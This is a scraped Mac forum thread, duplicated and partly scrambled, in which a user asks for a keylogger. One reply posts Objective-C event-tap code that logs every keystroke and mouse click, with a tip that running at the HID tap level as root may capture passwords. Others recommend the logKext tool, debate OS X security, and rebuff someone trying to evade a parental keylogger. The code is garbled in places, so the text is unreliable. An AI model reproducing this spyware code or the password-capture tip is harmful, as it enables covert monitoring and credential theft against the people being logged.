Would you care to tell us why you want a keylogger? It is pretty easy to write a basic one. Here is a code snippet that pretty much covers what you need to do.
Note that for this to work you have to enable access for assistive devices on the universal access preference panel of the account you are logging. Now if your goal is to have it run in the background so that no one will notice it, I can't help you. This version also doesn't seem to pick up passwords (anything typed in one of those text boxes that only show up as bullets). You might be able to capture those if you changed the kCGSessionEventTap to kCGHIDEventTap but then you would have to run your application with root privileges. I think Apple has done a very good job of making these things easy to write yet making them hard to install in a way that would compromise your system.
If I can completely reverse the topic (since the question's been answered), what programs on the Mac detect this type of spyware?
We've been safe from the virus thing for a long time, but I remember when the platform had it's share of virus threats. With the Mac's rise in sales, viruses and spyware will become a bigger problem in years to come.
I agree, at least in the case of viruses. The idea that the reason there are no viruses for OS X is because of market share is idiotic.
l33t hax0rs and virus writers do what they do for the notoriety, as much as for anything else. What do you think would make a hacker more famous? Writing the FIRST effective virus for OS X, or writing the 42,359th virus for Windows?
The "market share" excuse is a sad attempt to obfuscate the fact that the reason there are no viruses or worms, very few trojans and little spyware for OS X is because OS X is simply more secure.
Nice code JBL. If someone's looking for a ready to go binary with a little bit more capability, there's logKext for free. I've just been investigating OS X keyloggers in some depth myself.
Has anyone been using JBL's solution? Does it still work in Snow Leopard?
Comments
<strong>Ahhhhh Girlfriend cheatin' on ya pal </strong><hr></blockquote>
What??!!
How would you know?!
What makes you think so?
Anyway, I'm still searching for a keylogger.
I'm going to let this one fly as it answers the question directly. Carry on.
Edit: ooh, 300th post. How Spartan.
User with over 700 posts asks for software. User with a single post posts what could be considered spam. Hrmmm. Tough call.
I'm going to let this one fly as it answers the question directly. Carry on.
Edit: ooh, 300th post. How Spartan.
Nice.
"This is .....SPARTA!!!"
Anyway, I'm still searching for a keylogger.
Would you care to tell us why you want a keylogger? It is pretty easy to write a basic one. Here is a code snippet that pretty much covers what you need to do.
#import "Events.h"
CGEventRef myCGEventCallback(CGEventTapProxy proxy, CGEventType type,
CGEventRef event, void *refcon)
{
CGPoint location;
UniChar unicodeString[10];
UniCharCount actualStringLength;
switch(type){
case kCGEventKeyDowntCGEventKeyboardGetUnicodeStrin g(event, sizeof(unicodeString) / sizeof(*unicodeString), &actualStringLength, unicodeString);
NSLog([NSString stringWithFormat: @"%C\
", unicodeString[0]]);
break;
case kCGEventLeftMouseDowntlocation = CGEventGetLocation(event);
NSLog([NSString stringWithFormat:@"leftClick\%4.0f, %4.0f\
", location.x, location.y]]);
break;
case kCGEventRightMouseDowntlocation = CGEventGetLocation(event);
NSLog([NSString stringWithFormat:@"rightClick\%4.0f, %4.0f\
", location.x, location.y]]);
break;
}
// We must return the event for it to be useful.
return event;
}
@implementation myKeyLogger
- (void) applicationDidFinishLaunchingNSNotification*)not ification
{
CFMachPortRef eventTap;
CGEventMask eventMask;
CFRunLoopSourceRef runLoopSource;
eventMask = CGEventMaskBit(kCGEventLeftMouseDown) |
CGEventMaskBit(kCGEventRightMouseDown) |
CGEventMaskBit(kCGEventKeyDown);
eventTap = CGEventTapCreate(
kCGSessionEventTap, kCGHeadInsertEventTap,
0, eventMask, myCGEventCallback, self);
if (!eventTap) {
NSLog(@"failed to create event tap\
");
}
// Create a run loop source.
runLoopSource = CFMachPortCreateRunLoopSource(
kCFAllocatorDefault, eventTap, 0);
CFRelease(eventTap);
// Add to the current run loop.
CFRunLoopAddSource([[NSRunLoop currentRunLoop] getCFRunLoop], runLoopSource, kCFRunLoopCommonModes);
CFRelease(runLoopSource);
}
@end
Note that for this to work you have to enable access for assistive devices on the universal access preference panel of the account you are logging. Now if your goal is to have it run in the background so that no one will notice it, I can't help you. This version also doesn't seem to pick up passwords (anything typed in one of those text boxes that only show up as bullets). You might be able to capture those if you changed the kCGSessionEventTap to kCGHIDEventTap but then you would have to run your application with root privileges. I think Apple has done a very good job of making these things easy to write yet making them hard to install in a way that would compromise your system.
We've been safe from the virus thing for a long time, but I remember when the platform had it's share of virus threats. With the Mac's rise in sales, viruses and spyware will become a bigger problem in years to come.
... With the Mac's rise in sales, viruses and spyware will become a bigger problem in years to come.
No, they won't.
No, they won't.
I agree, at least in the case of viruses. The idea that the reason there are no viruses for OS X is because of market share is idiotic.
l33t hax0rs and virus writers do what they do for the notoriety, as much as for anything else. What do you think would make a hacker more famous? Writing the FIRST effective virus for OS X, or writing the 42,359th virus for Windows?
The "market share" excuse is a sad attempt to obfuscate the fact that the reason there are no viruses or worms, very few trojans and little spyware for OS X is because OS X is simply more secure.
Has anyone been using JBL's solution? Does it still work in Snow Leopard?
Anyone who can help me to bypass a keylogger on a Mac Leopard? It is a commercial Mac keylogger used by my dad to keep eye on my computer use.
1. TWO. THOUSAND. THREE.
2. NO. We're NOT going to help you circumvent your parents' commands, you fool.
3. For heaven's sake, we're not about to help you do something illegal.
4. They're doing it for a reason. You've completely and utterly missed that reason.
Anyone who can help me to bypass a keylogger on a Mac Leopard? It is a commercial Mac keylogger used by my dad to keep eye on my computer use.
Curious, what is it called?